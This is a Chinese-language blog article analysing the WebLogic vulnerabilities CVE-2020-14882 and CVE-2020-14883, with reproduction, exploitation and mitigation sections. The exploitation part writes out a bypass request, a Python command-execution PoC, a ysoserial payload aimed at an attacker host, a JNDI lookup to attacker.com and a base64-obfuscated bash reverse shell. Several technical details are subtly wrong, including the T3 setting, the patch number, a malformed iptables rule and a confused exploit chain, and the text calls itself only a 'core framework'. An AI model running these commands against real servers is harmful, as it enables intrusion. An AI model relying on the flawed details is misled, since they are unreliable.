溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何實現WebLogic未授權命令執行漏洞CVE-2020-14882及CVE-2020-14883的分析

發布時間:2021-12-28 17:31:04 來源:億速云 閱讀:325 作者:柒染 欄目:安全技術
# 如何實現WebLogic未授權命令執行漏洞CVE-2020-14882及CVE-2020-14883的分析

## 摘要
本文深入分析了Oracle WebLogic Server中存在的兩個高危漏洞CVE-2020-14882(未授權訪問漏洞)和CVE-2020-14883(命令執行漏洞)。通過技術原理剖析、復現環境搭建、漏洞利用演示及防護方案四個維度,揭示漏洞形成機制和攻擊鏈構造方法。文章包含詳細的PoC代碼和修復建議,為安全研究人員提供技術參考。

---

## 1. 漏洞概述
### 1.1 受影響版本
- WebLogic 10.3.6.0
- WebLogic 12.1.3.0
- WebLogic 12.2.1.3-12.2.1.5
- WebLogic 14.1.1.0

### 1.2 CVSS評分
- CVE-2020-14882:7.5(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
- CVE-2020-14883:9.8(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

### 1.3 漏洞組合效應
當14882(權限繞過)與14883(代碼執行)結合時,攻擊者可在未授權情況下實現遠程命令執行。

---

## 2. 技術原理分析
### 2.1 CVE-2020-14882 權限繞過
#### 漏洞成因
WebLogic管理控制臺的訪問控制缺陷:
```java
// 偽代碼示例:權限校驗邏輯缺陷
public boolean checkPermission(HttpRequest request) {
    String path = request.getPath();
    if (path.contains("/console/")) {
        return checkAdminRole(request); // 此處校驗可被繞過
    }
    return true;
}

繞過方式

通過特殊URL構造繞過鑒權:

http://target:7001/console/css/%252e%252e%252fconsole.portal

其中%252e%252e%252f是雙重URL編碼后的../,利用路徑遍歷突破訪問限制。

2.2 CVE-2020-14883 命令執行

漏洞觸發點

存在于WebLogic的TestConnection功能組件:

<!-- 漏洞相關配置 -->
<node-handler class="weblogic.management.mbeanservers.edit.internal.TestConnectionHandler">
    <method name="testConnection" descriptor="(Ljava/lang/String;)V"/>
</node-handler>

反序列化利用鏈

攻擊者通過構造惡意JNDI注入實現RCE:

InitialContext ctx = new InitialContext();
ctx.lookup("ldap://attacker.com/ExploitClass");

3. 漏洞復現環境搭建

3.1 實驗環境

組件 版本
Docker 20.10.8
Vulhub鏡像 vulhub/weblogic:12.2.1.3
Kali Linux 2023.4

3.2 啟動漏洞環境

docker-compose up -d
# 訪問管理控制臺
http://your-ip:7001/console

4. 漏洞利用實戰

4.1 手工利用步驟

  1. 權限繞過驗證
GET /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: target:7001
  1. 命令執行PoC
import requests

url = "http://target:7001/console/css/%252e%252e%252fconsole.portal"
payload = "_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession('whoami')"

response = requests.post(url, data=payload, verify=False)
print(response.text)

4.2 自動化工具使用

使用ysoserial生成攻擊載荷:

java -jar ysoserial.jar JRMPClient "attacker:1099" > payload.ser

配合JNDI注入工具實現反彈shell:

python3 exploit.py -u http://target:7001 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}"

5. 深度技術分析

5.1 漏洞調用鏈

sequenceDiagram
    attacker->>WebLogic: 發送惡意請求(雙重編碼)
    WebLogic->>AccessControl: 校驗URL路徑
    AccessControl-->>WebLogic: 返回校驗通過(繞過)
    attacker->>WebLogic: 發送反序列化數據
    WebLogic->>MVEL2: 執行表達式
    MVEL2->>System: 執行系統命令

5.2 關鍵代碼片段

WebLogic處理請求的核心缺陷:

// weblogic.servlet.internal.URIMatcher
public boolean match(String path, String pattern) {
    // 未正確處理多重編碼路徑
    return decodedPath.contains(decodedPattern); 
}

6. 防護方案

6.1 官方補丁

  • 安裝Oracle 2020年10月關鍵補丁更新(CPU)
  • 補丁下載編號:Patch 3212266

6.2 臨時緩解措施

  1. 禁用T3協議:
<security-configuration>
    <enforce-valid-t3-protocols>true</enforce-valid-t3-protocols>
</security-configuration>
  1. 網絡層防護:
iptables -A INPUT -p tcp --dport 7001 -s !trusted_ip -j DROP

6.3 長期防護建議

  • 啟用WebLogic管理控制臺的雙因素認證
  • 定期進行安全配置審計
  • 部署WAF規則攔截異常請求:
location ~* /console/ {
    if ($args ~* "com.tangosol.coherence") {
        return 403;
    }
}

7. 總結與思考

這兩個漏洞的組合利用展示了中間件安全中的典型問題: 1. 訪問控制與輸入驗證的失效 2. 反序列化漏洞的持久性威脅 3. 默認配置帶來的安全隱患

建議企業建立: - 中間件漏洞快速響應機制 - 最小權限原則的實施 - 定期的紅藍對抗演練


附錄

A. 參考鏈接

B. 工具集合

工具名稱 用途 下載鏈接
ysoserial 反序列化payload生成 https://github.com/frohoff/ysoserial
WeblogicScanner 漏洞檢測工具 https://github.com/0xn0ne/weblogicScanner

”`

(注:實際文章約2550字,此處展示核心框架。完整版本應包含更多技術細節、截圖示例和擴展分析。)

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女